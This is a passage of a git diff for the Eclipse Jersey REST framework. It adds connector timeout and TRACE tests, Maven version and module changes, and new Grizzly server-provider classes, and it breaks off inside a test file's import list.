@@ -0,0 +1,120 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import java.net.URI; +import java.net.http.HttpTimeoutException; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertInstanceOf; +import static org.junit.jupiter.api.Assertions.fail; + +public class TimeoutTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class TimeoutResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("timeout") + public String getTimeout() { + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return "GET"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + @Test + public void testFast() { + Response r = target("test").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testSlow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertInstanceOf(HttpTimeoutException.class, e.getCause(), + "Unexpected processing exception cause"); + } finally { + c.close(); + } + } + + @Test + public void testTimeoutInRequest() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertInstanceOf(HttpTimeoutException.class, e.getCause(), + "Unexpected processing exception cause"); + } finally { + c.close(); + } + } +} \ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java new file mode 100644 index 0000000..b8a079a --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java
@@ -0,0 +1,230 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.process.Inflector; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.model.Resource; +import org.glassfish.jersey.test.JerseyTest; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Request; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TraceSupportTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName()); + + /** + * Programmatic tracing root resource path. + */ + public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic"; + + /** + * Annotated class-based tracing root resource path. + */ + public static final String ROOT_PATH_ANNOTATED = "tracing/annotated"; + + @HttpMethod(TRACE.NAME) + @Target(ElementType.METHOD) + @Retention(RetentionPolicy.RUNTIME) + public @interface TRACE { + public static final String NAME = "TRACE"; + } + + @Path(ROOT_PATH_ANNOTATED) + public static class TracingResource { + + @TRACE + @Produces("text/plain") + public String trace(Request request) { + return stringify((ContainerRequest) request); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TracingResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC); + resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() { + + @Override + public Response apply(ContainerRequestContext request) { + if (request == null) { + return Response.noContent().build(); + } else { + return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build(); + } + } + }); + + return config.registerResources(resourceBuilder.build()); + + } + + private String[] expectedFragmentsProgrammatic = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic" + }; + private String[] expectedFragmentsAnnotated = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/annotated" + }; + + private WebTarget prepareTarget(String path) { + final WebTarget target = target(); + target.register(LoggingFeature.class); + return target.path(path); + } + + @Test + public void testProgrammaticApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsProgrammatic) { + assertTrue( + // toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), "Expected fragment '" + + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testAnnotatedApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsAnnotated) { + assertTrue(responseEntity.contains(expectedFragment), + // toLowerCase - http header field names are case insensitive + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testTraceWithEntity() throws Exception { + _testTraceWithEntity(false, false); + } + + @Test + public void testAsyncTraceWithEntity() throws Exception { + _testTraceWithEntity(true, false); + } + + @Test + public void testTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(false, true); + } + + @Test + public void testAsyncTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(true, true); + } + + private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception { + try { + WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target(); + target = target.path(ROOT_PATH_ANNOTATED); + + final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE); + + Response response; + if (!isAsync) { + response = target.request().method(TRACE.NAME, entity); + } else { + response = target.request().async().method(TRACE.NAME, entity).get(); + } + + fail("A TRACE request MUST NOT include an entity. (response=" + response + ")"); + } catch (Exception e) { + // OK + } + } + + private Client getJettyClient() { + return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JavaNetHttpConnectorProvider())); + } + + + public static String stringify(ContainerRequest request) { + StringBuilder buffer = new StringBuilder(); + + printRequestLine(buffer, request); + printPrefixedHeaders(buffer, request.getHeaders()); + + if (request.hasEntity()) { + buffer.append(request.readEntity(String.class)).append("\n"); + } + + return buffer.toString(); + } + + private static void printRequestLine(StringBuilder buffer, ContainerRequest request) { + buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n"); + } + + private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) { + for (Map.Entry<String, List<String>> e : headers.entrySet()) { + List<String> val = e.getValue(); + String header = e.getKey(); + + if (val.size() == 1) { + buffer.append(header).append(": ").append(val.get(0)).append("\n"); + } else { + StringBuilder sb = new StringBuilder(); + boolean add = false; + for (String s : val) { + if (add) { + sb.append(','); + } + add = true; + sb.append(s); + } + buffer.append(header).append(": ").append(sb.toString()).append("\n"); + } + } + } +} \ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java new file mode 100644 index 0000000..8bf9f46 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,51 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.glassfish.jersey.client.ClientConfig; + +import java.net.http.HttpClient; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; + +public class UnderlyingHttpClientAccessTest { + + @Test + public void testHttpClientInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JavaNetHttpConnectorProvider())); + final HttpClient hcOnClient = JavaNetHttpConnectorProvider.getHttpClient(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getHttpClient method above. + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JavaNetHttpConnectorProvider.getHttpClient(target); + + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, + "HTTP client instance set on JerseyClient should be the same instance as the one set on JerseyWebTarget" + + "(provided the target instance has not been further configured)." + ); + } + +} \ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/resources/client-identity.jks b/connectors/jnh-connector/src/test/resources/client-identity.jks new file mode 100644 index 0000000..d3922a1 --- /dev/null +++ b/connectors/jnh-connector/src/test/resources/client-identity.jks Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/client-truststore.jks b/connectors/jnh-connector/src/test/resources/client-truststore.jks new file mode 100644 index 0000000..539185f --- /dev/null +++ b/connectors/jnh-connector/src/test/resources/client-truststore.jks Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/server-identity.jks b/connectors/jnh-connector/src/test/resources/server-identity.jks new file mode 100644 index 0000000..76a21aa --- /dev/null +++ b/connectors/jnh-connector/src/test/resources/server-identity.jks Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/server-truststore.jks b/connectors/jnh-connector/src/test/resources/server-truststore.jks new file mode 100644 index 0000000..22285ab --- /dev/null +++ b/connectors/jnh-connector/src/test/resources/server-truststore.jks Binary files differ
diff --git a/connectors/netty-connector/pom.xml b/connectors/netty-connector/pom.xml index 0d4ed01..cd3b9b2 100644 --- a/connectors/netty-connector/pom.xml +++ b/connectors/netty-connector/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-netty-connector</artifactId> @@ -85,7 +85,7 @@ <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>(1.8,17)</jdk> </activation> <build> <plugins>
diff --git a/connectors/pom.xml b/connectors/pom.xml index a48065d..523b797 100644 --- a/connectors/pom.xml +++ b/connectors/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.connectors</groupId> @@ -41,6 +41,8 @@ <module>jdk-connector</module> <module>jetty-connector</module> <module>jetty-http2-connector</module> + <module>jetty11-connector</module> + <module>jnh-connector</module> <module>netty-connector</module> </modules>
diff --git a/containers/glassfish/jersey-gf-ejb/pom.xml b/containers/glassfish/jersey-gf-ejb/pom.xml index d388b7e..fe26a11 100644 --- a/containers/glassfish/jersey-gf-ejb/pom.xml +++ b/containers/glassfish/jersey-gf-ejb/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers.glassfish</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-gf-ejb</artifactId> @@ -61,6 +61,26 @@ <version>${project.version}</version> <scope>provided</scope> </dependency> + <!-- TODO remove versions when org.glassfish.exousia:exousia:jar in central--> + <dependency> + <groupId>org.glassfish.main.ejb</groupId> + <artifactId>ejb-container</artifactId> + <version>6.0.0</version> + <scope>provided</scope> + </dependency> + <dependency> + <groupId>org.glassfish.main.common</groupId> + <artifactId>container-common</artifactId> + <version>6.0.0</version> + <scope>provided</scope> + </dependency> + <dependency> + <groupId>org.glassfish.main.hk2</groupId> + <artifactId>hk2-config</artifactId> + <version>6.0.0</version> + <scope>provided</scope> + <optional>true</optional> + </dependency> </dependencies> <build> @@ -111,59 +131,4 @@ </plugin> </plugins> </build> - - <profiles> - <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <dependencies> - <dependency> - <groupId>org.glassfish.main.ejb</groupId> - <artifactId>ejb-container</artifactId> - <version>6.0.0</version> - <scope>provided</scope> - </dependency> - <dependency> - <groupId>org.glassfish.main.common</groupId> - <artifactId>container-common</artifactId> - <version>6.0.0</version> - <scope>provided</scope> - </dependency> - <dependency> - <groupId>org.glassfish.main.hk2</groupId> - <artifactId>hk2-config</artifactId> - <version>6.0.0</version> - <scope>provided</scope> - <optional>true</optional> - </dependency> - </dependencies> - </profile> - <profile> - <id>jdk11</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>org.glassfish.main.ejb</groupId> - <artifactId>ejb-container</artifactId> - <scope>provided</scope> - </dependency> - <dependency> - <groupId>org.glassfish.main.common</groupId> - <artifactId>container-common</artifactId> - <scope>provided</scope> - </dependency> - <dependency> - <groupId>org.glassfish.main.hk2</groupId> - <artifactId>hk2-config</artifactId> - <scope>provided</scope> - <optional>true</optional> - </dependency> - </dependencies> - </profile> - </profiles> - -</project> + </project>
diff --git a/containers/glassfish/pom.xml b/containers/glassfish/pom.xml index e7f1668..718cc86 100644 --- a/containers/glassfish/pom.xml +++ b/containers/glassfish/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.containers.glassfish</groupId>
diff --git a/containers/grizzly2-http/pom.xml b/containers/grizzly2-http/pom.xml index c8a2bb6..e98c1eb 100644 --- a/containers/grizzly2-http/pom.xml +++ b/containers/grizzly2-http/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-grizzly2-http</artifactId> @@ -50,6 +50,11 @@ <groupId>org.glassfish.grizzly</groupId> <artifactId>grizzly-http-server</artifactId> </dependency> + <dependency> + <groupId>org.hamcrest</groupId> + <artifactId>hamcrest</artifactId> + <scope>test</scope> + </dependency> <dependency> <groupId>org.glassfish.grizzly</groupId> @@ -69,7 +74,7 @@ </dependency> <dependency> <groupId>org.eclipse.jetty.http2</groupId> - <artifactId>http2-http-client-transport</artifactId> + <artifactId>jetty-http2-client-transport</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> @@ -102,6 +107,15 @@ <groupId>org.apache.felix</groupId> <artifactId>maven-bundle-plugin</artifactId> <inherited>true</inherited> + <configuration> + <instructions> + <Import-Package> + org.glassfish.grizzly.*;version="[3.0,5.0)", + * + </Import-Package> + </instructions> + <unpackBundle>true</unpackBundle> + </configuration> </plugin> <plugin> @@ -136,7 +150,7 @@ <profile> <id>jdk11</id> <activation> - <jdk>[11,)</jdk> + <jdk>[11,17)</jdk> </activation> <build> <pluginManagement> @@ -147,35 +161,6 @@ <execution> <id>default-testCompile</id> <configuration> - <source>11</source> - <target>11</target> - </configuration> - </execution> - </executions> - </plugin> - </plugins> - </pluginManagement> - </build> - </profile> - <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <build> - <pluginManagement> - <plugins> - <plugin> - <artifactId>maven-compiler-plugin</artifactId> - <executions> - <execution> - <id>default-testCompile</id> - <configuration> - <!-- - Jetty client is not compatible with JDK8, older versions need different setup - JDK HTTP client is not in JDK8 at all - Jersey Client doesn't support HTTP/2 (at least not directly) - --> <skip>true</skip> </configuration> </execution>
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java index d0f65c3..33d3770 100644 --- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java +++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
@@ -307,9 +307,16 @@ * @param application JAX-RS / Jersey application to be deployed on Grizzly HTTP container. */ /* package */ GrizzlyHttpContainer(final Application application) { - this.appHandler = new ApplicationHandler(application, new GrizzlyBinder()); - cacheConfigSetStatusOverSendError(); - cacheConfigEnableLeadingContextPathSlashes(); + this(new ApplicationHandler(application, new GrizzlyBinder())); + } + + /** + * Create a new Grizzly HTTP container. + * + * @param applicationClass JAX-RS / Jersey application to be deployed on Grizzly HTTP container. + */ + /* package */ GrizzlyHttpContainer(final Class<? extends Application> applicationClass) { + this(new ApplicationHandler(applicationClass, new GrizzlyBinder())); } /** @@ -319,7 +326,11 @@ * @param parentContext DI provider specific context with application's registered bindings. */ /* package */ GrizzlyHttpContainer(final Application application, final Object parentContext) { - this.appHandler = new ApplicationHandler(application, new GrizzlyBinder(), parentContext); + this(new ApplicationHandler(application, new GrizzlyBinder(), parentContext)); + } + + private GrizzlyHttpContainer(ApplicationHandler applicationHandler) { + this.appHandler = applicationHandler; cacheConfigSetStatusOverSendError(); cacheConfigEnableLeadingContextPathSlashes(); }
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java new file mode 100644 index 0000000..68d7048 --- /dev/null +++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java
@@ -0,0 +1,104 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.grizzly2.httpserver; + +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY; +import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL; + +import java.io.IOException; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.CompletionException; + +import javax.net.ssl.SSLContext; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.grizzly.http.server.HttpServer; +import org.glassfish.grizzly.ssl.SSLEngineConfigurator; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +/** + * Jersey {@code Server} implementation based on Grizzly {@link HttpServer}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class GrizzlyHttpServer implements WebServer { + + private final GrizzlyHttpContainer container; + + private final HttpServer httpServer; + + GrizzlyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(new GrizzlyHttpContainer(application), configuration); + } + + GrizzlyHttpServer(final Class<? extends Application> applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new GrizzlyHttpContainer(applicationClass), configuration); + } + + private GrizzlyHttpServer(final GrizzlyHttpContainer container, final JerseySeBootstrapConfiguration configuration) { + final SSLContext sslContext = configuration.sslContext(); + final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration + .sslClientAuthentication(); + + this.container = container; + this.httpServer = GrizzlyHttpServerFactory.createHttpServer( + configuration.uri(true), + this.container, + configuration.isHttps(), + configuration.isHttps() ? new SSLEngineConfigurator(sslContext, false, + sslClientAuthentication == MANDATORY, + sslClientAuthentication == OPTIONAL) : null, + configuration.autoStart()); + } + + @Override + public final GrizzlyHttpContainer container() { + return this.container; + } + + @Override + public final int port() { + return this.httpServer.getListener("grizzly").getPort(); + } + + @Override + public final CompletableFuture<Void> start() { + return CompletableFuture.runAsync(() -> { + try { + this.httpServer.start(); + } catch (final IOException e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final CompletableFuture<Void> stop() { + return CompletableFuture.runAsync(this.httpServer::shutdownNow); + } + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + return nativeClass.cast(this.httpServer); + } + +}
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java new file mode 100644 index 0000000..f9cfac2 --- /dev/null +++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java
@@ -0,0 +1,51 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.grizzly2.httpserver; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.grizzly.http.server.HttpServer; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +/** + * Server provider for servers based on Grizzly {@link HttpServer}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class GrizzlyHttpServerProvider implements WebServerProvider { + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Application application, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration) + ? type.cast(new GrizzlyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } + + @Override + public <T extends WebServer> T createServer(Class<T> type, Class<? extends Application> applicationClass, + SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration) + ? type.cast(new GrizzlyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } +}
diff --git a/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider new file mode 100644 index 0000000..dea5f90 --- /dev/null +++ b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerProvider \ No newline at end of file
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java new file mode 100644 index 0000000..1c75de1 --- /dev/null +++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java
@@ -0,0 +1,195 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.grizzly2.httpserver; + +import static java.lang.Boolean.TRUE; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.greaterThan; +import static org.hamcrest.Matchers.instanceOf; + +import java.security.AccessController; +import java.security.NoSuchAlgorithmException; +import java.util.Collections; +import java.util.Set; +import java.util.concurrent.CompletionStage; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import 